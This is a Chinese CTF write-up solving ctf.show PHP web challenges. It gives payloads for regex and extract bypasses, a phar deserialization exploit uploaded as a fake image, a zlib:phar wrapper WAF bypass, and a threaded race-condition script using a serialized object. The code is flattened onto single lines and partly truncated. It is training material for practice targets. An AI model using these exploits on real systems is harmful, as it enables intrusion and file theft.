看着思路很简单,就是利用post传参和extract函数来给需要的参数赋值,再利用call_user_func调用qwq中的oao静态方法。
感觉最麻烦的就是
preg_match('/^\-[a-e][^a-zA-Z0-8](.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)
这个正则函数的绕过,传入的一串字符串需要匹配上。
在线网站:regex101: build, test, and debug regex
尝试了一会后得到一串字符:
-a911111111>>>>aabcphp@Rr2
然后还要绕过_,可以用空格或者[替代。
POST传入:shaw[root=-a911111111>>>>aabcphp@Rr2
得到
md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
很明显SecretNumber是一个长度为5的数字,爆破出来就好:
if(md5("shaw".($i)."root")=='166b47a5cb1ca2431a0edfcef200684f'){echo $i;}
}
最后的payload:
shaw[root=-a911111111>>>>aabcphp@Rr2&ans=21475&my[ans=qwq::oao

这个题出的有意思,写了好一会。
先访问www.rar下载源码。
Seay自动审计一下,发现33处有问题,一个一个看一下。

在这个地方参数完全可控,后缀也没有.dat,存在任意文件读取漏洞。
访问一下,但没成功,应该是需要成为管理员。
在install.php中发现管理员信息

然后利用漏洞读取一下flag

访问一下ctfshowsecretfilehh


之前看到过文件上传页面,可以上传jpg、png、gif文件,所以可以利用phar反序列化来得到hint.txt。
public $ctfer = 'shower';
}$a=new Ctfshow();$phar = new Phar('phar.phar');$phar->setStub('GIF89a'.'');$phar->setMetadata($a);$phar->addFromString('test.txt','dky');
?>
然后改后缀为jpg,上传文件,但发现其并不回显文件名称,且文件名称被修改,所以去读取一下flag.php文件。
if ($_FILES["file"]["error"] > 0){echo "文件出错: " . $_FILES["file"]["error"] . "
";}else{if (file_exists("upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已经存在。 ";}else{$md5_unix_random =substr(md5(time()),0,8);$filename = $md5_unix_random.'.'.$extension;move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);echo "上传成功,文件存在upload/";}}
}
else
{echo "文件类型仅支持jpg、png、gif等图片格式";
}
?>
写个文件上传脚本。
import requests
import time
import hashlib
def geturl(s):a = hashlib.md5(str(int(s)).encode()).hexdigest()filename = a[:8]return "http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload/"+filename+'.jpg'
for i in range(50):url="http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload.php"files={'file':('phar.jpg',open('phar.jpg','rb'),'image/jpeg')}re1=requests.post(url,files=files)a=time.time()re2=requests.get(geturl(a))if("我的网站" not in re2.text):print(geturl(a))break
然后利用phar伪协议读取文件,利用zlib://协议绕过waf:
payload:
?file=zlib:phar:///var/www/html/upload/017ea83e.jpg
又是一个路由:
flag{fuckflag***}flag also not here You can access ctfshowgetflaghhhh directory
public $username='Firebasky';public $password;function __destruct() {if($this->username=='ctfshow'&&$this->password==(int)md5(time())){system('cp /ctfshow* /var/www/html/flag.txt');}}
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');
利用条件竞争,在其system命令执行之前访问flag.txt文件,这次有了unserialize函数,不需要再上传文件。
import io
import requests
import threading
def write():while True:url="http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/ctfshowgetflaghhhh/"resp = requests.get(url+'?unser=O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}')
def read():while True:r=requests.get('http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/flag.txt')if("我的网站" not in r.text):print(r.text)print('success!!!')event.clear()break;else:print("[+++++++++++++]retry")
if __name__=="__main__":event=threading.Event()with requests.session() as session:for i in range(1,20): threading.Thread(target=write,args=()).start()for i in range(1,20):threading.Thread(target=read,args=()).start()event.set()
非预期了,先看源码:
public $username;public $password;public function __construct($username,$password){$this->username = $username;$this->password = $password;}public function __wakeup(){if($this->password==='ctfshowvip'){include("flag.php");echo $flag; }else{echo 'wrong password';}}
}
function filter($string){return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){ die("I am sorry but you have to leave.");
}else{extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>
本来这题应该是还有另外一个参数,利用这两个可控参数去字符逃逸,本想本地修改一下再做,但本地extract代码一直无法实现。
paylaod:
user name=1&pass word=ctfshowvip
改了个名字,直接还用之前的脚本即可。
import requests
import time
import hashlib
def geturl(s):a = hashlib.md5(str(int(s)).encode()).hexdigest()filename = a[:8]return "http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload/"+filename+'.jpg'
for i in range(50):url="http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload.php"files={'file':('phar.jpg',open('phar.jpg','rb'),'image/jpeg')}re1=requests.post(url,files=files)a=time.time()re2=requests.get(geturl(a))if("我的网站" not in re2.text):print(geturl(a))break
payload:
?file=zlib:phar:///var/www/html/upload/f815a59f.jpg
import io
import requests
import threading
def write():while True:url="http://8722968c-5302-4bdf-863b-5ece18eddf38.challenge.ctf.show/hsxctfshowsecretgetflagl/"resp = requests.get(url+'?unser=O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}')
def read():while True:r=requests.get('http://8722968c-5302-4bdf-863b-5ece18eddf38.challenge.ctf.show/flag.txt')if("我的网站" not in r.text):print(r.text)print('success!!!')event.clear()break;else:print("[+++++++++++++]retry")
if __name__=="__main__":event=threading.Event()with requests.session() as session:for i in range(1,20): threading.Thread(target=write,args=()).start()for i in range(1,20):threading.Thread(target=read,args=()).start()event.set()